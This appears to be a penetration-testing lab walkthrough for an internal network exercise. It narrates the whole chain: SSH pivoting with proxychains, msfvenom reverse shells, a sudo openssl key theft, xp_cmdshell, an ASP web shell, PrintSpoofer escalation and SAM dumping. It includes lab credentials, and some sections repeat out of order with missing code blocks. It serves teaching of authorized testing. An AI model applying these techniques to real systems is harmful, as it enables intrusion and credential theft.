Internal Testing
Last updated
Last updated
Now that we've worked so hard to obtain this foothold, we don't want to lose it. The goal is to use this host as a pivot point to access the rest of the internal network. Our shell is still relatively unstable, and we don't want to keep setting up our access with multiple steps because we want to be as efficient as possible and spend as much time on the actual assessment, not fiddling around with shells.
Now that we have credentials (srvadm:ILFreightnixadm!), we can leverage the SSH port we saw open earlier and connect in for a stable connection. This is important because we want to be able to get back as close as possible to the same spot at the start of testing each day, so we don't have to waste time on setup. Now we won't always have SSH open to the internet and may have to achieve persistence another way. We could create a reverse shell binary on the host, execute it via the command injection, get a reverse shell or Meterpreter shell, and then work through that. Since SSH is here, we'll use it. There are many ways to pivot and tunnel our traffic which were covered in-depth in the module, so it's worth trying out some of them in this section to get extra practice. We will need to use some of these as we go deeper into this network. It's also good to have a backup way to get back in when using someone's credentials, as they may notice that their account is compromised or just hit that time of the month when they are prompted to change their password, and we won't be able to connect back in the next day. We should always be thinking ahead, analyzing every angle, and trying to anticipate issues before they arise. A lab is much different from the real world, and there are no resets or do-overs, so we need to work meticulously and maintain situational awareness as best as possible.
Now that we have a stable connection via SSH, we can start enumerating further.
We could upload an enumeration script to the system such as , but I always try two simple commands after gaining access: id to see if the compromised account is in any privileged local groups, and sudo -l to see if the account has any type of sudo privileges to run commands as another user or as root. By now, we have practiced many privilege escalation techniques in both Academy modules and perhaps some boxes on the HTB main platform. It's great to have these techniques in our back pocket, especially if we land on a very hardened system. However, we are dealing with human administrators, and humans make mistakes and also go for convenience. More often than not, my path to escalating privileges on a Linux box during a pentest was not some wildcard attack leveraging tar and a cron job, but rather something simple such as sudo su without a password to gain root privileges or not having to escalate privileges because the service I exploited was running in the context of the root account. It's still necessary to understand and practice as many techniques as possible because, as said a few times now, every environment is different, and we want to have the most comprehensive toolkit possible at our disposal.
The entry states that we can use the binary for privileged file reads as follows:
Let's give it a try
Success! We can now save the private key to our local system, modify the privileges, and use it to SSH as root and confirm root privileges.
It worked, and we're in and now have a "save point" to get back into the internal environment quickly and can use this SSH access to set up port forwards and pivot internally.
We've covered a ton of ground so far:
Performed external information gathering
Performed external port and service scanning
Enumerated multiple services for misconfigurations and known vulnerabilities
Enumerated and attacked 12 different web applications, with some resulting in no access, others granting file read or sensitive data access, and a few resulting in remote code execution on the underlying web server
Obtained a hard-fought foothold in the internal network
Performed pillaging and lateral movement to gain access as a more privileged user
Escalated privileges to root on the web server
Established persistence through the use of both a user/password pair and the root account's private key for fast SSH access back into the environment
We can use the following command to set up our SSH pivot using dynamic port forwarding: ssh -D 8081 -i dmz01_key root@10.129.x.x. This means we can proxy traffic from our attack host through port 8081 on the target to reach hosts inside the 172.16.8.0/23 subnet directly from our attack host.
In our first terminal, let's set up the SSH dynamic port forwarding command first:
We can confirm that the dynamic port forward is set up using Netstat or running an Nmap scan against our localhost address.
Next, we need to modify the /etc/proxychains.conf to use the port we specified with our dynamic port forwarding command (8081 here).
Next, we can use Nmap with Proxychains to scan the dmz01 host on its' second NIC, with the IP address 172.16.8.120 to ensure everything is set up correctly.
Alternatively, we can set up our pivoting using Metasploit, as covered in the Pivoting, Tunneling, and Port Forwarding section of the Pivoting module. To achieve this, we can do the following:
First, generate a reverse shell in Elf format using msfvenom.
Next, transfer the host to the target. Since we have SSH, we can upload it to the target using SCP.
Now, we'll set up the Metasploit exploit/multi/handler.
Execute the shell.elf file on the target system:
If all goes as planned, we'll catch the Meterpreter shell using the multi/handler, and then we can set up routes.
Next, we can set up routing using the post/multi/manage/autoroute module.
Once both options are set up, we can begin hunting for live hosts. Using our Meterpreter session, we can use the multi/gather/ping_sweep module to perform a ping sweep of the 172.16.8.0/23 subnet.
We get quick results with this Bash one-liner ping sweep:
We could also use Nmap through Proxychains to enumerate hosts in the 172.16.8.0/23 subnet, but it will be very slow and take ages to finish.
Our host discovery yields three additional hosts:
172.16.8.3
172.16.8.20
172.16.8.50
We can now dig deeper into each of these hosts and see what we turn up.
Let's continue our enumeration using a static Nmap binary from the dmz01 host. Try uploading the binary using one of the techniques taught in the File Transfers module.
From the Nmap output, we can gather the following:
172.16.8.3 is a Domain Controller because we see open ports such as Kerberos and LDAP. We can likely leave this to the side for now as its unlikely to be directly exploitable (though we can come back to that)
172.16.8.20 is a Windows host, and the ports 80/HTTP and 2049/NFS are particularly interesting
172.16.8.50 is a Windows host as well, and port 8080 sticks out as non-standard and interesting
We could run a full TCP port scan in the background while digging into some of these hosts.
We can quickly check against the Domain Controller for SMB NULL sessions. If we can dump the password policy and a user list, we could try a measured password spraying attack. If we know the password policy, we can time our attacks appropriately to avoid account lockout. If we can't find anything else, we could come back and use Kerbrute to enumerate valid usernames from various user lists and after enumerating (during a real pentest) potential usernames from the company's LinkedIn page. With this list in hand, we could try 1-2 spraying attacks and hope for a hit. If that still does not work, depending on the client and assessment type, we could ask them for the password policy to avoid locking out accounts. We could also try an ASREPRoasting attack if we have valid usernames, as discussed in the Active Directory Enumeration & Attacks module.
Unfortunately for us, this is a dead-end.
We do not get a successful login, so this appears to be a dead-end and not worth exploring further. If we came across a Tomcat Manager login page exposed to the internet, we'd probably want to record it as a finding since an attacker could potentially brute-force it and use it to obtain a foothold. During an internal, we would only want to report it if we could get in via weak credentials and upload a JSP web shell. Otherwise, seeing on an internal network is normal if it is well locked down.
We can set this up in Firefox as follows:
Browsing to the page confirms our suspicions.
Browsing to http://172.16.8.20/Login?returnurl=%2fadmin shows us the admin login page. There is also a page to register a user. We attempt to register an account but receive the message:
An email with your details has been sent to the Site Administrator for verification. You will be notified by email when your registration has been approved. In the meantime you can continue to browse this site.
In my experience, it is highly unlikely that any type of site administrator will approve a strange registration, though it's worth trying to cover all of our bases.
We can't mount the NFS share through Proxychains, but luckily we have root access to the dmz01 host to try. We see a few files related to DNN and a DNN subdirectory.
The DNN subdirectory is very interesting as it contains a web.config file. From our discussions on pillaging throughout the Penetration Tester Path, we know that config files can often contain credentials, making them a key target during any assessment.
Checking the contents of the web.config file, we find what appears to be the administrator password for the DNN instance.
Before we move on, since we have root access on dmz01 via SSH, we can run tcpdump as it's on the system. It can never hurt to "listen on the wire" whenever possible during a pentest and see if we can grab any cleartext credentials or generally uncover any additional information that may be useful for us. We'll typically do this during an Internal Penetration Test when we have our own physical laptop or a VM that we control inside the client's network. Some testers will run a packet capture the entire time (rarely, clients will even request this), while others will run it periodically during the first day or so to see if they can capture anything.
After transferring the file down to our host, we open it in Wireshark but see that nothing was captured. If we were on a user VLAN or other "busy" area of the network, we might have considerable data to dig through, so it's always worth a shot.
At this point, we have dug into the other "live" hosts we can reach and attempted to sniff network traffic. We could run a full port scan of these hosts as well, but we have plenty to move forward with for now. Let's see what we can do with the DNN credentials we obtained from the web.config file pillaged from the open NFS share.
At this point, we have moved from the Information Gathering and Vulnerability Assessment stages into the Exploitation stage of the Penetration Testing Process. After obtaining a foothold, we enumerated what hosts were available to us, scanned for open ports, and probed the accessible services.
Let's head over to DNN and try our luck with the credential pair Administrator:D0tn31Nuk3R0ck$$@123. This is a success; we are logged in as the SuperUser administrator account. Here we would want to record another two high-risk findings: Insecure File Shares and Sensitive Data on File Shares. We could potentially combine these into one, but it's worth highlighting as separate issues because if the client restricts anonymous access, but all Domain Users can still access the share and see data that is not necessary for their day-to-day work, then there is a still a risk present.
A SQL console is accessible under the Settings page where we can enable xp_cmdshell and run operating system commands. We can first enable this by pasting these lines into the console one by one and clicking Run Script. We won't get any output from each command, but no errors typically means it's working.
If this works, we can run operating system commands in the format xp_cmdshell '<command here>'. We could then use this to obtain a reverse shell or work on privilege escalation.
Once uploaded, we can right-click on the uploaded file and select Get URL. The resultant URL will allow us to run commands via the web shell, where we could then work to get a reverse shell or perform privilege escalation steps, as we'll see next.
We'll try escalating privileges using the PrintSpoofer tool and then see if we can dump any useful credentials from the host's memory or registry. We'll need nc.exe on the DEV01 host to send ourselves a shell and the PrintSpoofer64.exe binary to leverage SeImpersonate privileges. There are a few ways we can transfer them up there. We could use the dmz01 host as a "jump host" and transfer our tools through it via SCP and then start a Python3 web server and download them onto the DEV01 host using certutil.
An easier way would be to modify the DNN Allowable File Extensions once again to allow the .exe file format. We can then upload both of these files and confirm via our shell that they are located in c:\DotNetNuke\Portals\0.
Once uploaded, we can start a Netcat listener on the dmz01 host and run the following command to obtain a reverse shell as NT AUTHORITY\SYSTEM:
We execute the command and get a reverse shell almost instantly.
From here, we can perform some post-exploitation and manually retrieve the contents of the SAM database and with it, the local administrator password hash.
Now we can once again modify the allowed file extensions to permit us to down the .SAVE files. Next, we can go back to the File Management page and download each of the three files to our attack host.
Finally, we can use secretsdump to dump the SAM database and retrieve a set of credentials from LSA secrets.
We confirm that these credentials work using CrackMapExec and we now have a way back to this system should we lose our reverse shell.
From the secretsdump output above, we notice a cleartext password, but it's not immediately apparent which user it's for. We could dump LSA again using CrackMapExec and confirm that the password is for the hporter user.
We now have our first set of domain credentials for the INLANEFREIGHT.LOCAL domain, hporter:Gr8hambino!. We can confirm this from our reverse shell on dmz01.
We could also escalate privileges on the DEV01 host using the PrintNightmare vulnerability. There are also other ways to retrieve the credentials, such as using Mimikatz. Play around with this machine and apply the various skills you learned in the Penetration Tester Path to perform these steps in as many ways as possible to practice and find what works best for you.
At this point, we don't have any additional findings to write down because all we did was abuse built-in functionality, which we could perform because of the file share issues noted previously. We could note down PrintNightmare as a high-risk finding if we can exploit it.
Let's walk through the reverse port forwarding method quickly. First off, we need to generate a payload using msfvenom. Note that here we'll specify the IP address of the dmz01 pivot host in the lhost field and NOT our attack host IP as the target would not be able to connect back to us directly.
Next, we need to set up a multi/handler and start a listener on a different port than the payload we generated will use.
Next, we need to upload the teams.exe reverse shell payload to the DEV01 target host. We can SCP it up to dmz01, start a Python web server on that host and then download the file. Alternatively, we can use the DNN file manager to upload the file as we did previously. With the payload on the target, we need to set up SSH remote port forwarding to forward the dmz01 pivot box port 443 to the Metasploit listener port 7000. The R flag tells the pivot host to listen on port 443 and forward all incoming traffic to this port to our Metasploit listener at 0.0.0.0:7000 configured on our attack host.
Next, execute the teams.exe payload from the DEV01 host, and if all goes to plan, we'll get a connection back.
Now that we've enumerated the internal network attacked our first host, escalated privileges, performed post-exploitation, and set up our pivots/multiple ways to assess the internal network, let's turn our attention to the AD environment. Given that we have a set of credentials, we can perform all sorts of enumeration to get a better lay of the land and look for pathways to Domain Admin.
Running sudo -l, we see that we can run the /usr/bin/openssl command as root without requiring a password. As suspected, there is a for the OpenSSL binary. The entry shows various ways this can be leveraged: to upload and download files, gain a reverse shell, and read and write files. Let's try this to see if we can grab the SSH private key for the root user. This is ideal over just attempting to read the /etc/shadow file or obtain a reverse shell as the ida_rsa private key file will grant us SSH back into the environment as the root user, which is perfect for setting up our pivots.
With a copy of the root id_rsa (private key) file, we can use SSH port forwarding along with to start getting a picture of the internal network. To review this technique, check out the section of the Pivoting, Tunneling, and Port Forwarding module.
For a refresher, consult the msfvenom section of the Shells & Payloads module and the section of the Using the Metasploit Framework module.
Alternatively, we could do a ping sweep or use a from the dmz01 host.
Our earlier Nmap scan showed port 8080 open on this host. Browsing to http://172.16.8.50:8080 shows the latest version of Tomcat 10 installed. Though there are no public exploits for it, we can try to brute-force the Tomcat Manager login as shown in the section of the Attacking Common Applications module. We can start another instance of Metasploit using Proxychains by typing proxychains msfconsole to be able to pivot through the compromised dmz01 host if we don't have routing set up via a Meterpreter session. We can then use the auxiliary/scanner/http/tomcat_mgr_login module to attempt to brute-force the login.
From the Nmap scan, we saw ports 80 and 2049 open. Let's dig into each of these. We can check out what's on port 80 using cURL from our attack host using the command proxychains curl http://172.16.8.20. From the HTTP response, it looks like is running on the target. This is a CMS written in .NET, basically the WordPress of .NET. It has suffered from a few critical flaws over the years and also has some built-in functionality that we may be able to take advantage of. We can confirm this by browsing directly to the target from our attack host, passing the traffic through the SOCKS proxy.
Putting DNN aside, for now, we go back to our port scan results. Port 2049, NFS, is always interesting to see. If the NFS server is misconfigured (which they often are internally), we can browse NFS shares and potentially uncover some sensitive data. As this is a development server (due to the in-process DNN installation and the DEV01 hostname) so it's worth digging into. We can use to list exports, which we may be able to mount and browse similar to any other file share. We find one export, DEV01, that is accessible to everyone (anonymous access). Let's see what it holds.
We could now transfer this down to our host and open it in Wireshark to see if we were able to capture anything. This is covered briefly in the section of the Windows Privilege Escalation module. For a more in-depth study, consult the module.
What's also interesting about DNN is we can to allow .asp and .aspx files to be uploaded. This is useful if we cannot gain RCE via the SQL console. If this is successful, we can upload an ASP web shell and gain remote code execution on the DEV01 server. The allowed file extensions list can be modified to include .asp and .aspx by browsing to Settings -> Security -> More -> More Security Settings and adding them under Allowable File Extensions, and clicking the Save button. Once this is done, we can upload an after browsing to http://172.16.8.20/admin/file-management. Click the upload files button and select the ASP web shell we downloaded to our attack host.
Next, we need to escalate privileges. In the command output above, we saw that we have SeImpersonate privileges. Following the steps in the section in the Windows Privilege Escalation module, we can work to escalate our privileges to SYSTEM, which will result in an initial foothold in the Active Directory (AD) domain and allow us to begin enumerating AD.
There are many ways to attack this network and achieve the same results, so we will not cover them all here, but one worth mentioning is . Let's say we want to return a reverse shell from the DEV01 box to our attack host. We can't do this directly since we're not in the same network, but we can leverage dmz01 to perform reverse port forwarding and achieve our goal. We may want to get a Meterpreter shell on the target or a reverse shell directly for any number of reasons. We could have also performed all of these actions without ever getting a shell, as we could have used PrintSpoofer to add a local admin or dump credentials from DEV01 and then connect to the host in any number of ways from our attack host using Proxychains (pass-the-hash, RDP, WinRM, etc.). See how many ways you can achieve the same task of interacting with the DEV01 host directly from your attack host. It's essential to be versatile, and this lab network is a great place to practice as many techniques as possible and hone our skills.
A caveat to the above method is that, by default, OpenSSH only allows connection to remote forwarded ports from the server itself (localhost). To allow this, we must edit the /etc/ssh/sshd_config file on Ubuntu systems and change the line GatewayPorts no to GatewayPorts yes, otherwise we will not be able to get a call back on the port we forwarded in the SSH command (port 443 in our case). To do this, we would need root SSH access to the host we are using to pivot from. At times we will see this configuration set up like this, so it works straight away, but if we don't have root access to the host with the ability to temporarily modify the SSH config file (and reload it to take effect using service sshd reload), then we won't be able to perform port forwarding in this way. Keep in mind that this type of change opens up a security hole in the client's system, so you'd want to clear it with them, note down the change, and make every effort to revert it at the end of testing. This is worth reading to understand SSH Remote Forwarding better.
